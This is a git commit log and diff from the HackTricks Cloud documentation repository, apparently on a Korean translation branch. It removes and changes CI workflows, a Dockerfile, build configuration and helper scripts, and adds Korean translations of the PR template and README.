9481677b3a Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-09 01:06:11 +00:00
Translator
1064c0f070 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-09 00:13:50 +00:00
Translator
25d53d01d5 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-08 23:00:16 +00:00
Translator
92da390e4a Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-08 21:08:45 +00:00
Translator
82c0ce8173 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-08 20:44:29 +00:00
Translator
4b7f0a34c8 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-06 23:57:32 +00:00
Translator
8f0465b420 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-06 17:13:30 +00:00
Translator
2a2048bf3d Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-05 22:58:15 +00:00
Translator
bdc38a271e Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin 2025-01-05 20:39:11 +00:00
Translator
6be6099833 Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin 2025-01-05 15:22:20 +00:00
Translator
ffbf2addfc Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ 2025-01-05 15:11:48 +00:00
Translator
4df0a98519 Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ 2025-01-04 17:56:35 +00:00
Translator
37f7cf3ab0 Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation 2025-01-04 03:47:41 +00:00
Translator
2ca16ee4e6 Translated ['src/pentesting-cloud/azure-security/az-services/az-app-serv 2025-01-04 00:40:44 +00:00
Translator
d50daac3a3 Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md 2025-01-03 19:27:46 +00:00
Translator
6fe123639c Translated ['src/README.md'] to ko 2025-01-03 11:46:08 +00:00
Translator
32339c05fc Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-pivotin 2025-01-02 21:34:25 +00:00
Translator
4b57ae9c24 Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ 2025-01-02 01:24:28 +00:00
Translator
018d2d2250 Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe 2025-01-01 23:58:29 +00:00
Translator
20ad0aabbd Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/ 2024-12-31 20:17:46 +00:00
Translator
d6ce9cef2b Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az 2024-12-31 18:59:33 +00:00
697 changed files with 38102 additions and 34508 deletions

View File

@@ -1,16 +1,9 @@
You can remove this content before sending the PR:
## Attribution
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
귀하의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 귀하가 소유하거나 원저자로부터 공유할 권한이 있는 콘텐츠만 업로드하도록 하십시오(추가된 텍스트나 수정 중인 페이지의 끝에 저자에 대한 참조 추가). 지적 재산권에 대한 귀하의 존중은 모두를 위한 신뢰할 수 있고 합법적인 공유 환경을 조성합니다.
## HackTricks Training
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
In any case, thanks for contributing to HackTricks!
[ARTE certification](https://training.hacktricks.xyz/courses/arte) 시험에서 3개 대신 2개의 플래그로 통과할 수 있도록 추가하는 경우, PR `arte-<username>`으로 호출해야 합니다.
또한, 문법/구문 수정은 시험 플래그 감소를 위해 수락되지 않음을 기억하십시오.
어쨌든 HackTricks에 기여해 주셔서 감사합니다!

View File

@@ -1,56 +0,0 @@
name: Build and Push Docker Image
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- 'book/**'
workflow_dispatch:
concurrency: build_docker
permissions:
packages: write
id-token: write
contents: write
jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
# 1. Check out the repository to get the Dockerfile
- name: Check out code
uses: actions/checkout@v3
with:
fetch-depth: 0
# 2. Log into GitHub Container Registry
- name: Log in to GHCR
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# 3. Build and push
- name: Build and push Docker image
run: |
# Define image name
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
# Build Docker image
docker build -t $IMAGE_NAME:latest .
# Push Docker image to GHCR
docker push $IMAGE_NAME:latest
# Set image visibility to public
curl -X PATCH \
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/packages/container/translator-image/visibility \
-d '{"visibility":"public"}'

View File

@@ -14,15 +14,12 @@ on:
concurrency: build_master
permissions:
packages: write
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
environment: prod
steps:
@@ -30,65 +27,32 @@ jobs:
uses: actions/checkout@v4
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
# Build the mdBook
- name: Build mdBook
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
run: mdbook build
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
# Cat hacktricks-preprocessor.log
#- name: Cat hacktricks-preprocessor.log
# run: cat hacktricks-preprocessor.log
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
echo "Checking if release $TAG exists..."
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
echo "Failed to delete release, trying without cleanup-tag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
echo "Warning: Could not delete existing release, will try to recreate..."
}
}
sleep 2 # Give GitHub API a moment to process the deletion
else
echo "Release $TAG does not exist, proceeding with creation..."
fi
# Create new release (with force flag to overwrite if deletion failed)
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
echo "Failed to create release, trying with force flag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
sleep 2
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
}
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3

View File

@@ -1,204 +0,0 @@
name: Cleanup Merged/Closed PR Branches
on:
schedule:
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
workflow_dispatch: # Allow manual triggering
inputs:
dry_run:
description: 'Dry run (show what would be deleted without actually deleting)'
required: false
default: 'false'
type: boolean
permissions:
contents: write
pull-requests: read
jobs:
cleanup-branches:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0 # Need full history to see all branches
token: ${{ secrets.PAT_TOKEN }}
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Cleanup merged/closed PR branches
env:
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
echo "Starting branch cleanup process..."
# Check if this is a dry run
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
if [ "$DRY_RUN" = "true" ]; then
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
echo ""
fi
# Define protected branches and patterns
protected_branches=(
"master"
"main"
)
# Translation branch patterns (any 2-letter combination)
translation_pattern="^[a-zA-Z]{2}$"
# Get all remote branches except protected ones
echo "Fetching all remote branches..."
git fetch --all --prune
# Get list of all remote branches (excluding HEAD)
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
# Get all open PRs to identify branches with open PRs
echo "Getting list of open PRs..."
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
echo "Open PR branches:"
echo "$open_pr_branches"
echo ""
deleted_count=0
skipped_count=0
for branch in $all_branches; do
branch=$(echo "$branch" | xargs) # Trim whitespace
# Skip if empty
if [ -z "$branch" ]; then
continue
fi
echo "Checking branch: $branch"
# Check if it's a protected branch
is_protected=false
for protected in "${protected_branches[@]}"; do
if [ "$branch" = "$protected" ]; then
echo " ✓ Skipping protected branch: $branch"
is_protected=true
skipped_count=$((skipped_count + 1))
break
fi
done
if [ "$is_protected" = true ]; then
continue
fi
# Check if it's a translation branch (any 2-letter combination)
# Also protect any branch that starts with 2 letters followed by additional content
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
echo " ✓ Skipping translation/language branch: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch has an open PR
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
echo " ✓ Skipping branch with open PR: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch had a PR that was merged or closed
echo " → Checking PR history for branch: $branch"
# Look for PRs from this branch (both merged and closed)
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
if [ "$pr_info" != "[]" ]; then
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
# Delete the remote branch
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted remote branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete remote branch: $branch"
fi
fi
else
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
skipped_count=$((skipped_count + 1))
fi
else
# No PR found for this branch - it might be a stale branch
# Check if branch is older than 30 days and has no recent activity
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
# Calculate 30 days ago in seconds since epoch
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted stale branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete stale branch: $branch"
fi
fi
else
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
skipped_count=$((skipped_count + 1))
fi
else
echo " ✓ Skipping branch (cannot determine age): $branch"
skipped_count=$((skipped_count + 1))
fi
fi
echo ""
done
echo "=================================="
echo "Branch cleanup completed!"
if [ "$DRY_RUN" = "true" ]; then
echo "Branches that would be deleted: $deleted_count"
else
echo "Branches deleted: $deleted_count"
fi
echo "Branches skipped: $skipped_count"
echo "=================================="
# Clean up local tracking branches (only if not dry run)
if [ "$DRY_RUN" != "true" ]; then
echo "Cleaning up local tracking branches..."
git remote prune origin
fi
echo "Cleanup process finished."

View File

@@ -1,195 +0,0 @@
name: Translator All
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- Dockerfile
workflow_dispatch:
permissions:
packages: write
id-token: write
contents: write
jobs:
translate:
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
runs-on: ubuntu-latest
environment: prod
# Run N languages in parallel (tune max-parallel if needed)
strategy:
fail-fast: false
# max-parallel: 3 #Nothing to run all in parallel
matrix:
include:
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- { name: "German", language: "German", branch: "de" }
- { name: "Greek", language: "Greek", branch: "el" }
- { name: "Spanish", language: "Spanish", branch: "es" }
- { name: "French", language: "French", branch: "fr" }
- { name: "Hindi", language: "Hindi", branch: "hi" }
- { name: "Italian", language: "Italian", branch: "it" }
- { name: "Japanese", language: "Japanese", branch: "ja" }
- { name: "Korean", language: "Korean", branch: "ko" }
- { name: "Polish", language: "Polish", branch: "pl" }
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
- { name: "Serbian", language: "Serbian", branch: "sr" }
- { name: "Swahili", language: "Swahili", branch: "sw" }
- { name: "Turkish", language: "Turkish", branch: "tr" }
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- { name: "Chinese", language: "Chinese", branch: "zh" }
# Ensure only one job per branch runs at a time (even across workflow runs)
concurrency:
group: translate-${{ matrix.branch }}
cancel-in-progress: false
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
env:
LANGUAGE: ${{ matrix.language }}
BRANCH: ${{ matrix.branch }}
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Update and download scripts
run: |
sudo apt-get update
# Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- name: Run get_and_save_refs.py
run: |
python /tmp/get_and_save_refs.py
- name: Download language branch & update refs
run: |
pwd
ls -la
git config --global --add safe.directory "$GITHUB_WORKSPACE"
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git config pull.rebase false
git checkout $BRANCH
git pull
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
git add .
git commit -m "Fix unmatched refs" || echo "No changes to commit"
git push || echo "No changes to push"
- name: Run translation script on changed files
run: |
git checkout master
cp src/SUMMARY.md /tmp/master-summary.md
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n ",$file" >> /tmp/file_paths.txt
fi
done
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
cat /tmp/file_paths.txt
echo ""
echo ""
touch /tmp/file_paths.txt
if [ -s /tmp/file_paths.txt ]; then
python /tmp/translator.py \
--language "$LANGUAGE" \
--branch "$BRANCH" \
--api-key "$OPENAI_API_KEY" \
-f "$(cat /tmp/file_paths.txt)" \
-t 3
else
echo "No markdown files changed, skipping translation."
fi
- name: Sync SUMMARY.md from master
run: |
git checkout "$BRANCH"
git pull
if [ -f /tmp/master-summary.md ]; then
cp /tmp/master-summary.md src/SUMMARY.md
git add src/SUMMARY.md
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
git push || echo "No SUMMARY updates to push"
else
echo "master summary not exported; failing"
exit 1
fi
- name: Build mdBook
run: |
git checkout "$BRANCH"
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
fi
# Create new release
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: |
echo "Current branch:"
git rev-parse --abbrev-ref HEAD
echo "Syncing $BRANCH to S3"
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
echo "Sync completed"
echo "Cat 3 files from the book"
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat

View File

@@ -1,23 +0,0 @@
name: Upload HackTricks to HackTricks AI
on:
workflow_dispatch:
schedule:
- cron: "0 5 1 * *"
jobs:
dowload-clean-push:
runs-on: ubuntu-latest
environment: prod
steps:
# 1. Download the script
- name: Dowload script
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
- name: Install pip dependencies
run: python3 -m pip install openai
# 2. Execute the script
- name: Execute script
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"

1
.gitignore vendored
View File

@@ -35,4 +35,3 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

View File

@@ -1,31 +0,0 @@
# Use the official Python 3.12 Bullseye image as the base
FROM python:3.12-bullseye
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
sudo \
build-essential \
awscli
# Install Python libraries
RUN pip install --upgrade pip && \
pip install openai tqdm tiktoken
# Install Rust & Cargo
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
ENV PATH="/root/.cargo/bin:${PATH}"
# Install mdBook & plugins
RUN cargo install mdbook
RUN cargo install mdbook-alerts
RUN cargo install mdbook-reading-time
RUN cargo install mdbook-pagetoc
RUN cargo install mdbook-tabs
RUN cargo install mdbook-codename
# Set the working directory
WORKDIR /app

View File

@@ -1 +0,0 @@
src/README.md

34
README.md Normal file
View File

@@ -0,0 +1,34 @@
# HackTricks Cloud
{{#include ./banners/hacktricks-training.md}}
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_에 의해 제작되었습니다._
> [!TIP]
> CI/CD 및 Cloud와 관련된 각 **해킹 트릭/기술/무엇이든**을 **CTFs**, **실제** 환경, **연구**, 그리고 **연구 및 뉴스 읽기**를 통해 배운 페이지에 오신 것을 환영합니다.
### **Pentesting CI/CD Methodology**
**HackTricks CI/CD 방법론에서는 CI/CD 활동과 관련된 인프라를 어떻게 펜테스트하는지 찾을 수 있습니다.** 다음 페이지를 읽어 **소개**를 확인하세요:
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
**HackTricks Cloud 방법론에서는 클라우드 환경을 어떻게 펜테스트하는지 찾을 수 있습니다.** 다음 페이지를 읽어 **소개**를 확인하세요:
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
**다음에서 확인하세요:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Stats
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -1,7 +1,6 @@
[book]
authors = ["HackTricks Team"]
language = "en"
multilingual = false
src = "src"
title = "HackTricks Cloud"
@@ -9,26 +8,17 @@ title = "HackTricks Cloud"
create-missing = false
extra-watch-dirs = ["translations"]
[preprocessor.alerts]
after = ["links"]
[preprocessor.reading-time]
[preprocessor.pagetoc]
[preprocessor.tabs]
[preprocessor.codename]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
additional-js = [
"theme/pagetoc.js",
"theme/tabs.js",
"theme/pagetoc.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
@@ -36,6 +26,7 @@ additional-js = [
no-section-label = true
preferred-dark-theme = "hacktricks-dark"
default-theme = "hacktricks-light"
hash-files = false
[output.html.fold]
enable = true # whether or not to enable section folding

View File

@@ -53,11 +53,17 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
result = findtitle(href.split("#")[0], book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
result = findtitle(href, book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
@@ -65,11 +71,17 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
@@ -147,8 +159,14 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Book keys: {book.keys()}")
for chapter in iterate_chapters(book['sections']):
# Handle both old (sections) and new (items) mdbook API
book_items = book.get('sections') or book.get('items', [])
for chapter in iterate_chapters(book_items):
if chapter is None:
continue
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'

View File

@@ -1,88 +0,0 @@
#!/bin/bash
# Define the image folder and the root of your project
IMAGE_FOLDER="./src/images"
PROJECT_ROOT="."
# Move to the project root
cd "$PROJECT_ROOT" || exit
# Loop through each image file in the folder
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
# Extract the filename without the path
image_name=$(basename "$image")
# If image file name contains "sponsor", skip it
if [[ "$image_name" == *"sponsor"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"arte"* ]]; then
echo "Skipping arte image: $image_name"
continue
fi
if [[ "$image_name" == *"grte"* ]]; then
echo "Skipping grte image: $image_name"
continue
fi
if [[ "$image_name" == *"azrte"* ]]; then
echo "Skipping azrte image: $image_name"
continue
fi
if [[ "$image_name" == *"websec"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"venacus"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CLOUD"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"cloud.gif"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CH_logo"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"lasttower"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
echo "Checking image: $image_name"
# Search for the image name using rg and capture the result
search_result=$(rg -F --files-with-matches "$image_name" \
--no-ignore --hidden \
--glob '!.git/*' \
--glob '!$IMAGE_FOLDER/*' < /dev/null)
echo "Search result: $search_result"
# If rg doesn't find any matches, delete the image
if [ -z "$search_result" ]; then
echo "Deleting unused image: $image"
rm "$image"
else
echo "Image used: $image_name"
echo "$search_result"
fi
done
echo "Cleanup completed!"

View File

@@ -1,165 +0,0 @@
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def replace_refs_in_text(text: str, new_refs: list):
"""Replace all refs in text with new_refs, maintaining order."""
matches = list(REF_RE.finditer(text))
if len(matches) != len(new_refs):
return text # Can't replace if counts don't match
# Replace from end to beginning to avoid offset issues
result = text
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
start, end = match.span()
# Format the replacement with proper newlines
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
result = result[:start] + formatted_replacement + result[end:]
return result
def main():
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
parser.add_argument("--files-unmatched-paths", type=str,
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
args = parser.parse_args()
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
if not REFS_JSON.exists():
raise SystemExit(f"Reference file not found: {REFS_JSON}")
# Load the reference refs from master branch
try:
with open(REFS_JSON, 'r', encoding='utf-8') as f:
master_refs = json.load(f)
except (json.JSONDecodeError, UnicodeDecodeError) as e:
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
files_processed = 0
files_modified = 0
files_with_differences = 0
unmatched_files = [] # Track files with unmatched refs
# Track which files exist in current branch
current_files = set()
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
files_processed += 1
# Track this file as existing in current branch
current_files.add(rel)
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
current_refs = extract_refs(content)
# Check if file exists in master refs
if rel not in master_refs:
if current_refs:
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
master_file_refs = master_refs[rel]
# Compare ref counts
if len(current_refs) != len(master_file_refs):
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
